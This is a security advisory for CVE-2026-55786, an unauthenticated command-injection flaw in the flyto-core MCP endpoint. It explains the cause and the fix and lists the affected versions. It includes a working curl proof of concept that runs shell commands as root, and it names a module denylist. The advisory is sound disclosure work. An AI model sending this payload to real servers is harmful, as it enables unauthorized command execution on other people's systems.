high · 8.4CVE-2026-55786Jul 6, 2026

CVE-2026-55786: flyto-core Unauthenticated OS Command Injection via HTTP MCP

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

flyto-core's HTTP MCP endpoint accepts JSON-RPC requests with no authentication check, letting any local process run arbitrary shell commands by calling the built-in sandbox.execute_shell module.

Packageflyto-core
Ecosystempip
Affected>= 2.26.2, < 2.26.4
Fixed in2.26.4

The problem

The FastAPI route `POST /mcp` in flyto-core (versions 2.26.2 through 2.26.3) is mounted unconditionally at startup and declared with no `Depends(require_auth)` guard. Any caller that can reach the port can send a JSON-RPC `tools/call` request targeting any registered module.

The built-in `sandbox.execute_shell` module reads a `command` field directly from attacker-supplied JSON and passes it to `asyncio.create_subprocess_shell` with `shell=True` and no sanitization. Dynamic reproduction confirmed execution as `root`. By default the server binds to `127.0.0.1` (local attack vector, CVSS 8.4), but operators who start with `--host 0.0.0.0` expose it to the full network.

Proof of concept

A working proof-of-concept for CVE-2026-55786 in flyto-core, with the exact payload below.

bash
curl -sS http://127.0.0.1:8333/mcp \
  -H 'Content-Type: application/json' \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "execute_module",
      "arguments": {
        "module_id": "sandbox.execute_shell",
        "params": {"command": "id", "timeout": 5}
      }
    }
  }'

# Observed response (no Authorization header required):
# {"jsonrpc":"2.0","id":1,"result":{"structuredContent":{"ok":true,"data":{"stdout":"uid=0(root) gid=0(root) groups=0(root)\n","exit_code":0}},"isError":false}}

The root cause is two missing guards on the same route. First, `mcp.py` declares `@router.post("")` without `dependencies=[Depends(require_auth)]`, unlike the analogous REST route at `modules.py:93` which does enforce auth. Second, even if a module filter were applied, `sandbox.execute_shell` is not covered by `_DEFAULT_DENYLIST = ["shell.*", "process.*"]` because its module ID begins with `sandbox.`, not `shell.` or `process.`.

The patch adds `Depends(require_auth)` to both the `POST /mcp` and `DELETE /mcp` handlers, passes a `module_filter` to `handle_jsonrpc_request`, and widens the denylist entry to `"sandbox.*"` to close the naming gap. CWE-306 (Missing Authentication for Critical Function) and CWE-78 (OS Command Injection) both apply.

The fix

Upgrade to flyto-core 2.26.4. The fix adds `Depends(require_auth)` to the `POST /mcp` and `DELETE /mcp` route handlers, passes `module_filter` into `handle_jsonrpc_request` for those routes, and extends `_DEFAULT_DENYLIST` to include `"sandbox.*"`. If an immediate upgrade is not possible, block external access to port 8333 at the network level and avoid starting the server with `--host 0.0.0.0`.

Reporter not attributed.

References: [1][2]

Related research